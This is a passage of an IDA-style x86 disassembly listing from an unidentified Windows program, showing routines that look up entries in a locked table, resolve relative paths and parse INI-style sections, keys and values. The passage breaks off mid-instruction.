shr eax, 1 mov [ebp+var_44], eax mov eax, [ebp+var_44] dec eax shl eax, 4 mov ecx, ds:dword_4E1908 mov ecx, [ecx+8] mov eax, [ecx+eax] mov [ebp+var_3C], eax push [ebp+var_34] mov eax, [ebp+var_3C] push dword ptr [eax] push [ebp+var_28] call sub_4CC730 add esp, 0Ch mov [ebp+var_40], eax cmp [ebp+var_40], 0 jnz short loc_4D173C mov eax, [ebp+var_3C] mov eax, [eax] mov ecx, [ebp+var_34] movsx eax, byte ptr [eax+ecx] test eax, eax jz short loc_4D171C mov eax, [ebp+var_3C] mov eax, [eax] mov ecx, [ebp+var_34] movsx eax, byte ptr [eax+ecx] cmp eax, 5Ch jnz short loc_4D1733 loc_4D171C: ; CODE XREF: sub_4D153F+1CAj mov eax, [ebp+var_44] dec eax shl eax, 4 mov ecx, ds:dword_4E1908 mov ecx, [ecx+8] add ecx, eax mov [ebp+var_30], ecx jmp short loc_4D1757 ; --------------------------------------------------------------------------- loc_4D1733: ; CODE XREF: sub_4D153F+1DBj mov eax, [ebp+var_44] dec eax mov [ebp+var_2C], eax jmp short loc_4D1752 ; --------------------------------------------------------------------------- loc_4D173C: ; CODE XREF: sub_4D153F+1BAj cmp [ebp+var_40], 0 jle short loc_4D174B mov eax, [ebp+var_44] inc eax mov [ebp+var_38], eax jmp short loc_4D1752 ; --------------------------------------------------------------------------- loc_4D174B: ; CODE XREF: sub_4D153F+201j mov eax, [ebp+var_44] dec eax mov [ebp+var_2C], eax loc_4D1752: ; CODE XREF: sub_4D153F+1FBj ; sub_4D153F+20Aj jmp loc_4D16B2 ; --------------------------------------------------------------------------- loc_4D1757: ; CODE XREF: sub_4D153F+179j ; sub_4D153F+1F2j cmp [ebp+var_30], 0 jz loc_4D1815 cmp [ebp+arg_4], 0 jz short loc_4D176F mov eax, [ebp+arg_4] mov ecx, [ebp+var_30] mov [eax], ecx loc_4D176F: ; CODE XREF: sub_4D153F+226j mov eax, [ebp+var_30] mov eax, [eax] mov eax, [eax] mov [ebp+var_50], eax mov eax, [ebp+var_28] mov [ebp+var_54], eax loc_4D177F: ; CODE XREF: sub_4D153F+272j mov eax, [ebp+var_54] mov al, [eax] mov [ebp+var_55], al mov ecx, [ebp+var_50] cmp al, [ecx] jnz short loc_4D17B9 cmp [ebp+var_55], 0 jz short loc_4D17B3 mov eax, [ebp+var_54] mov al, [eax+1] mov [ebp+var_56], al mov ecx, [ebp+var_50] cmp al, [ecx+1] jnz short loc_4D17B9 add [ebp+var_54], 2 add [ebp+var_50], 2 cmp [ebp+var_56], 0 jnz short loc_4D177F loc_4D17B3: ; CODE XREF: sub_4D153F+253j and [ebp+var_5C], 0 jmp short loc_4D17C1 ; --------------------------------------------------------------------------- loc_4D17B9: ; CODE XREF: sub_4D153F+24Dj ; sub_4D153F+264j sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_5C], eax loc_4D17C1: ; CODE XREF: sub_4D153F+278j mov eax, [ebp+var_5C] mov [ebp+var_60], eax cmp [ebp+var_60], 0 jnz short loc_4D17D5 mov eax, [ebp+arg_8] and byte ptr [eax], 0 jmp short loc_4D17DB ; --------------------------------------------------------------------------- loc_4D17D5: ; CODE XREF: sub_4D153F+28Cj mov eax, [ebp+arg_8] mov byte ptr [eax], 1 loc_4D17DB: ; CODE XREF: sub_4D153F+294j cmp [ebp+arg_C], 0 jz short loc_4D17FA push 0 mov eax, ds:dword_4E1908 add eax, 810h push eax call sub_4D92CA pop ecx pop ecx mov ecx, [ebp+arg_C] mov [ecx], eax loc_4D17FA: ; CODE XREF: sub_4D153F+2A0j push 0FFFFFFFFh mov eax, [ebp+var_30] mov [ebp+var_64], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_64] jmp loc_4D18BE ; --------------------------------------------------------------------------- loc_4D1815: ; CODE XREF: sub_4D153F+21Cj jmp loc_4D18A5 ; --------------------------------------------------------------------------- loc_4D181A: ; CODE XREF: sub_4D153F+11Cj ; sub_4D153F+134j push [ebp+var_1C] call sub_4D8A16 pop ecx mov [ebp+var_48], eax cmp [ebp+var_48], 0 jz short loc_4D18A5 mov eax, ds:dword_4E1908 mov eax, [eax+8] cmp eax, [ebp+var_48] ja short loc_4D18A5 mov eax, ds:dword_4E1908 mov eax, [eax+0Ch] shl eax, 4 mov ecx, ds:dword_4E1908 mov ecx, [ecx+8] add ecx, eax cmp [ebp+var_48], ecx jnb short loc_4D18A5 mov eax, [ebp+var_48] mov [ebp+var_4C], eax mov eax, [ebp+arg_8] and byte ptr [eax], 0 cmp [ebp+arg_C], 0 jz short loc_4D187F push 0 mov eax, ds:dword_4E1908 add eax, 810h push eax call sub_4D92CA pop ecx pop ecx mov ecx, [ebp+arg_C] mov [ecx], eax loc_4D187F: ; CODE XREF: sub_4D153F+325j cmp [ebp+arg_4], 0 jz short loc_4D188D mov eax, [ebp+arg_4] mov ecx, [ebp+var_4C] mov [eax], ecx loc_4D188D: ; CODE XREF: sub_4D153F+344j push 0FFFFFFFFh mov eax, [ebp+var_48] mov [ebp+var_68], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_68] jmp short loc_4D18BE ; --------------------------------------------------------------------------- loc_4D18A5: ; CODE XREF: sub_4D153F+97j ; sub_4D153F:loc_4D1815j ... or [ebp+var_4], 0FFFFFFFFh call sub_4D18B0 jmp short loc_4D18BC sub_4D153F endp ; =============== S U B R O U T I N E ======================================= sub_4D18B0 proc near ; CODE XREF: sub_4D153F+36Ap ; DATA XREF: _5:004DE3E0o push offset dword_4E18C8 call ds:dword_4E1754 ; RtlLeaveCriticalSection retn sub_4D18B0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D153F loc_4D18BC: ; CODE XREF: sub_4D153F+36Fj xor eax, eax loc_4D18BE: ; CODE XREF: sub_4D153F+3Cj ; sub_4D153F+2D1j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 10h ; END OF FUNCTION CHUNK FOR sub_4D153F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D18CF proc near ; CODE XREF: sub_4DAAEB+16p ; sub_4DAB3D+97p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push esi push edi and [ebp+var_C], 0 and [ebp+var_8], 0 push 0 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_4D153F mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz loc_4D19C6 movzx eax, [ebp+var_C] test eax, eax jnz loc_4D19C6 cmp [ebp+var_8], 0 jz loc_4D19C6 mov eax, [ebp+var_8] mov edi, [eax+4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_10], ecx mov eax, ds:dword_4E1908 mov eax, [eax+0C14h] mov ecx, [ebp+var_10] lea eax, [ecx+eax+1] mov [ebp+var_14], eax mov eax, [ebp+var_14] cmp eax, [ebp+arg_8] jle short loc_4D194F mov eax, [ebp+var_14] inc eax mov ecx, [ebp+arg_C] mov [ecx], eax jmp short loc_4D19C1 ; --------------------------------------------------------------------------- loc_4D194F: ; CODE XREF: sub_4D18CF+73j mov eax, ds:dword_4E1908 mov ecx, [eax+0C14h] mov esi, ds:dword_4E1908 add esi, 10h mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+var_10] mov eax, [ebp+var_8] mov esi, [eax+4] mov eax, ds:dword_4E1908 mov edi, [ebp+arg_4] add edi, [eax+0C14h] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, ds:dword_4E1908 mov eax, [eax+0C14h] add eax, [ebp+var_10] mov ecx, [ebp+arg_4] and byte ptr [ecx+eax], 0 mov eax, ds:dword_4E1908 mov eax, [eax+0C14h] add eax, [ebp+var_10] mov ecx, [ebp+arg_C] mov [ecx], eax loc_4D19C1: ; CODE XREF: sub_4D18CF+7Ej push 1 pop eax jmp short loc_4D19CE ; --------------------------------------------------------------------------- loc_4D19C6: ; CODE XREF: sub_4D18CF+29j ; sub_4D18CF+35j ... mov eax, [ebp+arg_C] and dword ptr [eax], 0 xor eax, eax loc_4D19CE: ; CODE XREF: sub_4D18CF+F5j pop edi pop esi leave retn sub_4D18CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D19D2 proc near ; CODE XREF: sub_4D581E+3Dp ; sub_4DA1C7+29p ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004D1A9F SIZE 00000043 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE3E8 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 1Ch push ebx push esi push edi mov [ebp+var_34], edx mov [ebp+var_30], ecx push [ebp+var_34] lea eax, [ebp+var_20] push eax push 0 push [ebp+var_30] call sub_4D153F mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz loc_4D1A9F cmp [ebp+arg_0], 0 jz short loc_4D1A9F mov esi, [ebp+arg_0] mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push [ebp+var_30] call sub_4D92CA pop ecx pop ecx mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov ebx, ecx mov edi, edx mov edx, edi or ecx, 0FFFFFFFFh xor eax, eax repne scasb dec edi mov ecx, ebx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov [ebp+var_24], edx and [ebp+var_4], 0 push [ebp+var_34] lea eax, [ebp+var_20] push eax push 0 push [ebp+var_24] call sub_4D153F mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_4D1A8F jmp short loc_4D1A9F sub_4D19D2 endp ; =============== S U B R O U T I N E ======================================= sub_4D1A8F proc near ; CODE XREF: sub_4D19D2+B6p ; DATA XREF: _5:004DE3F0o mov eax, [ebp-24h] mov [ebp-28h], eax push dword ptr [ebp-28h] call sub_4D83DD pop ecx retn sub_4D1A8F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D19D2 loc_4D1A9F: ; CODE XREF: sub_4D19D2+43j ; sub_4D19D2+4Dj ... cmp [ebp+var_1C], 0 jz short loc_4D1AB2 movzx eax, [ebp+var_20] test eax, eax jnz short loc_4D1AB2 mov eax, [ebp+var_1C] jmp short loc_4D1AD1 ; --------------------------------------------------------------------------- loc_4D1AB2: ; CODE XREF: sub_4D19D2+D1j ; sub_4D19D2+D9j cmp [ebp+var_34], 0 jz short loc_4D1ACF cmp [ebp+var_1C], 0 jz short loc_4D1ACF mov eax, [ebp+var_34] mov eax, [eax] mov [ebp+var_2C], eax push [ebp+var_2C] call sub_4D83DD pop ecx loc_4D1ACF: ; CODE XREF: sub_4D19D2+E4j ; sub_4D19D2+EAj xor eax, eax loc_4D1AD1: ; CODE XREF: sub_4D19D2+DEj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; END OF FUNCTION CHUNK FOR sub_4D19D2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D1AE2 proc near ; CODE XREF: sub_4D581E+24p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi mov [ebp+var_28], edx mov [ebp+var_24], ecx and [ebp+var_8], 0 cmp [ebp+var_24], 0 jz loc_4D1BBB mov eax, [ebp+var_24] movsx eax, byte ptr [eax] cmp eax, 5Ch jz loc_4D1BBB mov eax, [ebp+var_24] movsx eax, byte ptr [eax] cmp eax, 2Fh jz loc_4D1BBB mov eax, [ebp+var_24] movsx eax, byte ptr [eax+1] cmp eax, 3Ah jz loc_4D1BBB mov edi, [ebp+var_24] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_14], ecx mov eax, ds:dword_4E1908 add eax, 10h mov ecx, ds:dword_4E1908 mov ecx, [ecx+0C10h] sub ecx, eax mov [ebp+var_10], ecx mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_14] lea eax, [eax+ecx+104h] push eax call sub_4D835A pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_18] mov [ebp+var_8], eax mov ecx, [ebp+var_10] mov esi, ds:dword_4E1908 add esi, 10h mov edi, [ebp+var_8] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+var_14] inc ecx mov esi, [ebp+var_24] mov edi, [ebp+var_8] add edi, [ebp+var_10] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_8] mov [ebp+var_24], eax loc_4D1BBB: ; CODE XREF: sub_4D1AE2+17j ; sub_4D1AE2+26j ... push 0 lea eax, [ebp+var_C] push eax push 0 push [ebp+var_24] call sub_4D153F mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4D1C41 cmp [ebp+arg_0], 0 jz short loc_4D1C41 cmp [ebp+var_8], 0 jnz short loc_4D1BFB mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push [ebp+var_24] call sub_4D92CA pop ecx pop ecx mov [ebp+var_8], eax loc_4D1BFB: ; CODE XREF: sub_4D1AE2+FCj mov edi, [ebp+arg_0] mov edx, [ebp+var_8] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh xor eax, eax repne scasb dec edi mov ecx, ebx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov eax, [ebp+var_8] mov [ebp+var_24], eax push 0 lea eax, [ebp+var_C] push eax push 0 push [ebp+var_8] call sub_4D153F mov [ebp+var_4], eax loc_4D1C41: ; CODE XREF: sub_4D1AE2+F0j ; sub_4D1AE2+F6j cmp [ebp+var_4], 0 jz short loc_4D1C90 movzx eax, [ebp+var_C] test eax, eax jnz short loc_4D1C90 cmp [ebp+var_28], 0 jz short loc_4D1C7C cmp [ebp+var_8], 0 jz short loc_4D1C63 mov eax, [ebp+var_8] mov [ebp+var_2C], eax jmp short loc_4D1C72 ; --------------------------------------------------------------------------- loc_4D1C63: ; CODE XREF: sub_4D1AE2+177j push 0 push [ebp+var_24] call sub_4D92CA pop ecx pop ecx mov [ebp+var_2C], eax loc_4D1C72: ; CODE XREF: sub_4D1AE2+17Fj mov eax, [ebp+var_28] mov ecx, [ebp+var_2C] mov [eax], ecx jmp short loc_4D1C8B ; --------------------------------------------------------------------------- loc_4D1C7C: ; CODE XREF: sub_4D1AE2+171j mov eax, [ebp+var_8] mov [ebp+var_1C], eax push [ebp+var_1C] call sub_4D83DD pop ecx loc_4D1C8B: ; CODE XREF: sub_4D1AE2+198j mov eax, [ebp+var_4] jmp short loc_4D1CA1 ; --------------------------------------------------------------------------- loc_4D1C90: ; CODE XREF: sub_4D1AE2+163j ; sub_4D1AE2+16Bj mov eax, [ebp+var_8] mov [ebp+var_20], eax push [ebp+var_20] call sub_4D83DD pop ecx xor eax, eax loc_4D1CA1: ; CODE XREF: sub_4D1AE2+1ACj pop edi pop esi pop ebx leave retn 4 sub_4D1AE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D1CA8 proc near ; CODE XREF: sub_4DA7AF+Ap ; sub_4DA7DD+78p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], edx mov [ebp+var_4], ecx push 0 push [ebp+var_8] push 0 push [ebp+var_4] call sub_4D153F leave retn sub_4D1CA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D1CC4 proc near ; CODE XREF: sub_4DAC66+2Bp ; sub_4DAD0C+42p ... var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = byte ptr 20h ; FUNCTION CHUNK AT 004D21B6 SIZE 00000012 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE3F8 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 64h push ebx push esi push edi and [ebp+var_34], 0 and [ebp+var_28], 0 and [ebp+var_38], 0 and [ebp+var_20], 0 and [ebp+var_30], 0 and [ebp+var_3C], 0 and [ebp+var_24], 0 and [ebp+var_48], 0 and [ebp+var_40], 0 and [ebp+var_44], 0 and [ebp+var_4], 0 mov ecx, [ebp+arg_10] xor eax, eax mov edi, [ebp+arg_C] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb push 0 lea eax, [ebp+var_2C] push eax push 0 push 0 push [ebp+arg_14] call sub_4D0346 lea eax, [ebp+var_28] push eax push [ebp+var_2C] call sub_4D0672 mov eax, [ebp+var_28] inc eax push eax call sub_4D835A pop ecx mov [ebp+var_64], eax mov eax, [ebp+var_64] mov [ebp+var_34], eax mov ecx, [ebp+var_28] inc ecx xor eax, eax mov edi, [ebp+var_34] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov eax, [ebp+var_28] mov ecx, [ebp+var_34] lea eax, [ecx+eax+1] mov [ebp+var_20], eax mov eax, [ebp+var_34] mov [ebp+var_38], eax lea eax, [ebp+var_1C] push eax push 0 push 0 push [ebp+var_28] push [ebp+var_34] push [ebp+var_2C] call sub_4D1177 mov eax, [ebp+var_20] mov byte ptr [eax-1], 0Ah jmp short loc_4D1DAD ; --------------------------------------------------------------------------- loc_4D1DA6: ; CODE XREF: sub_4D1CC4:loc_4D2184j mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax loc_4D1DAD: ; CODE XREF: sub_4D1CC4+E0j mov eax, [ebp+var_38] cmp eax, [ebp+var_20] jz loc_4D2189 loc_4D1DB9: ; CODE XREF: sub_4D1CC4+486j ; sub_4D1CC4+4BBj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 3Bh jnz short loc_4D1DF8 loc_4D1DC4: ; CODE XREF: sub_4D1CC4+125j mov eax, [ebp+var_38] cmp eax, [ebp+var_20] jz short loc_4D1DEB mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_4D1DEB mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_4D1DEB mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_4D1DC4 ; --------------------------------------------------------------------------- loc_4D1DEB: ; CODE XREF: sub_4D1CC4+106j ; sub_4D1CC4+111j ... mov eax, [ebp+var_38] cmp eax, [ebp+var_20] jnz short loc_4D1DF8 jmp loc_4D2189 ; --------------------------------------------------------------------------- loc_4D1DF8: ; CODE XREF: sub_4D1CC4+FEj ; sub_4D1CC4+12Dj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 5Bh jnz short loc_4D1E16 mov eax, [ebp+var_38] inc eax mov [ebp+var_30], eax mov [ebp+var_24], 1 jmp loc_4D2184 ; --------------------------------------------------------------------------- loc_4D1E16: ; CODE XREF: sub_4D1CC4+13Dj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 5Dh jnz loc_4D1EBF loc_4D1E25: ; CODE XREF: sub_4D1CC4+217j mov eax, [ebp+var_38] and byte ptr [eax], 0 cmp [ebp+var_24], 1 jnz loc_4D1EBA and [ebp+var_24], 0 cmp [ebp+arg_0], 0 jnz short loc_4D1EA0 mov eax, [ebp+var_44] mov [ebp+var_4C], eax mov edi, [ebp+var_30] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_54], ecx mov eax, [ebp+arg_10] dec eax dec eax sub eax, [ebp+var_4C] mov [ebp+var_50], eax cmp [ebp+var_50], 0 jle short loc_4D1E9E push [ebp+var_50] push [ebp+var_30] mov eax, [ebp+arg_C] add eax, [ebp+var_4C] push eax call sub_4CC770 add esp, 0Ch mov eax, [ebp+var_50] cmp eax, [ebp+var_54] jle short loc_4D1E8B mov eax, [ebp+var_54] mov [ebp+var_74], eax jmp short loc_4D1E91 ; --------------------------------------------------------------------------- loc_4D1E8B: ; CODE XREF: sub_4D1CC4+1BDj mov eax, [ebp+var_50] mov [ebp+var_74], eax loc_4D1E91: ; CODE XREF: sub_4D1CC4+1C5j mov eax, [ebp+var_74] mov ecx, [ebp+var_4C] lea eax, [ecx+eax+1] mov [ebp+var_44], eax loc_4D1E9E: ; CODE XREF: sub_4D1CC4+1A0j jmp short loc_4D1EBA ; --------------------------------------------------------------------------- loc_4D1EA0: ; CODE XREF: sub_4D1CC4+179j push [ebp+var_30] push [ebp+arg_0] call ds:dword_4E17C0 ; lstrcmpi test eax, eax jnz short loc_4D1EB6 mov [ebp+var_48], 1 jmp short loc_4D1EBA ; --------------------------------------------------------------------------- loc_4D1EB6: ; CODE XREF: sub_4D1CC4+1EAj and [ebp+var_48], 0 loc_4D1EBA: ; CODE XREF: sub_4D1CC4+16Bj ; sub_4D1CC4:loc_4D1E9Ej ... jmp loc_4D2184 ; --------------------------------------------------------------------------- loc_4D1EBF: ; CODE XREF: sub_4D1CC4+15Bj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_4D1ED5 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_4D1EEC loc_4D1ED5: ; CODE XREF: sub_4D1CC4+204j cmp [ebp+var_24], 1 jnz short loc_4D1EE0 jmp loc_4D1E25 ; --------------------------------------------------------------------------- loc_4D1EE0: ; CODE XREF: sub_4D1CC4+215j mov eax, [ebp+var_38] inc eax mov [ebp+var_3C], eax jmp loc_4D2184 ; --------------------------------------------------------------------------- loc_4D1EEC: ; CODE XREF: sub_4D1CC4+20Fj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 3Dh jnz loc_4D2184 cmp [ebp+arg_0], 0 jz loc_4D2151 mov eax, [ebp+var_38] mov byte ptr [eax], 20h loc_4D1F0B: ; CODE XREF: sub_4D1CC4+266j mov eax, [ebp+var_38] movzx eax, byte ptr [eax-1] cmp eax, 9 jz short loc_4D1F23 mov eax, [ebp+var_38] movzx eax, byte ptr [eax-1] cmp eax, 20h jnz short loc_4D1F2C loc_4D1F23: ; CODE XREF: sub_4D1CC4+251j mov eax, [ebp+var_38] dec eax mov [ebp+var_38], eax jmp short loc_4D1F0B ; --------------------------------------------------------------------------- loc_4D1F2C: ; CODE XREF: sub_4D1CC4+25Dj mov eax, [ebp+var_38] and byte ptr [eax], 0 mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax loc_4D1F39: ; CODE XREF: sub_4D1CC4+292j mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 9 jz short loc_4D1F4F mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 20h jnz short loc_4D1F58 loc_4D1F4F: ; CODE XREF: sub_4D1CC4+27Ej mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_4D1F39 ; --------------------------------------------------------------------------- loc_4D1F58: ; CODE XREF: sub_4D1CC4+289j cmp [ebp+arg_4], 0 jnz loc_4D20A1 movzx eax, [ebp+var_48] test eax, eax jz loc_4D209C mov eax, [ebp+var_44] mov [ebp+var_58], eax mov edi, [ebp+var_3C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_60], ecx mov eax, [ebp+arg_10] dec eax dec eax sub eax, [ebp+var_58] mov [ebp+var_6C], eax mov eax, [ebp+var_6C] cmp eax, [ebp+var_60] jge short loc_4D1F9F mov eax, [ebp+var_6C] mov [ebp+var_78], eax jmp short loc_4D1FA5 ; --------------------------------------------------------------------------- loc_4D1F9F: ; CODE XREF: sub_4D1CC4+2D1j mov eax, [ebp+var_60] mov [ebp+var_78], eax loc_4D1FA5: ; CODE XREF: sub_4D1CC4+2D9j mov eax, [ebp+var_78] mov [ebp+var_5C], eax cmp [ebp+var_5C], 0 jle short loc_4D1FD4 mov ecx, [ebp+var_5C] mov esi, [ebp+var_3C] mov edi, [ebp+arg_C] add edi, [ebp+var_58] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_58] add eax, [ebp+var_5C] mov [ebp+var_58], eax loc_4D1FD4: ; CODE XREF: sub_4D1CC4+2EBj mov eax, [ebp+var_38] mov [ebp+var_3C], eax loc_4D1FDA: ; CODE XREF: sub_4D1CC4+33Cj mov eax, [ebp+var_20] dec eax cmp [ebp+var_38], eax jz short loc_4D2002 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_4D2002 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_4D2002 mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_4D1FDA ; --------------------------------------------------------------------------- loc_4D2002: ; CODE XREF: sub_4D1CC4+31Dj ; sub_4D1CC4+328j ... movzx eax, [ebp+arg_18] test eax, eax jz loc_4D208E mov eax, [ebp+arg_10] dec eax dec eax cmp [ebp+var_58], eax jnb short loc_4D2028 mov eax, [ebp+arg_C] add eax, [ebp+var_58] mov byte ptr [eax], 3Dh mov eax, [ebp+var_58] inc eax mov [ebp+var_58], eax loc_4D2028: ; CODE XREF: sub_4D1CC4+352j mov eax, [ebp+var_38] and byte ptr [eax], 0 mov edi, [ebp+var_3C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_60], ecx mov eax, [ebp+arg_10] dec eax dec eax sub eax, [ebp+var_58] mov [ebp+var_70], eax mov eax, [ebp+var_70] cmp eax, [ebp+var_60] jge short loc_4D2059 mov eax, [ebp+var_70] mov [ebp+var_7C], eax jmp short loc_4D205F ; --------------------------------------------------------------------------- loc_4D2059: ; CODE XREF: sub_4D1CC4+38Bj mov eax, [ebp+var_60] mov [ebp+var_7C], eax loc_4D205F: ; CODE XREF: sub_4D1CC4+393j mov eax, [ebp+var_7C] mov [ebp+var_5C], eax cmp [ebp+var_5C], 0 jle short loc_4D208E mov ecx, [ebp+var_5C] mov esi, [ebp+var_3C] mov edi, [ebp+arg_C] add edi, [ebp+var_58] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_58] add eax, [ebp+var_5C] mov [ebp+var_58], eax loc_4D208E: ; CODE XREF: sub_4D1CC4+344j ; sub_4D1CC4+3A5j mov eax, [ebp+var_58] inc eax mov [ebp+var_44], eax mov eax, [ebp+var_38] inc eax mov [ebp+var_3C], eax loc_4D209C: ; CODE XREF: sub_4D1CC4+2A4j jmp loc_4D214F ; --------------------------------------------------------------------------- loc_4D20A1: ; CODE XREF: sub_4D1CC4+298j push [ebp+var_3C] push [ebp+arg_4] call ds:dword_4E17C0 ; lstrcmpi test eax, eax jnz short loc_4D211C movzx eax, [ebp+var_48] test eax, eax jz short loc_4D211C mov eax, [ebp+var_38] mov [ebp+var_3C], eax loc_4D20BF: ; CODE XREF: sub_4D1CC4+421j mov eax, [ebp+var_20] dec eax cmp [ebp+var_38], eax jz short loc_4D20E7 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_4D20E7 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_4D20E7 mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_4D20BF ; --------------------------------------------------------------------------- loc_4D20E7: ; CODE XREF: sub_4D1CC4+402j ; sub_4D1CC4+40Dj ... mov eax, [ebp+var_38] and byte ptr [eax], 0 mov eax, [ebp+arg_10] dec eax push eax push [ebp+var_3C] push [ebp+arg_C] call sub_4CC770 add esp, 0Ch mov eax, [ebp+arg_C] add eax, [ebp+arg_10] and byte ptr [eax-1], 0 mov edi, [ebp+arg_C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_44], ecx jmp short 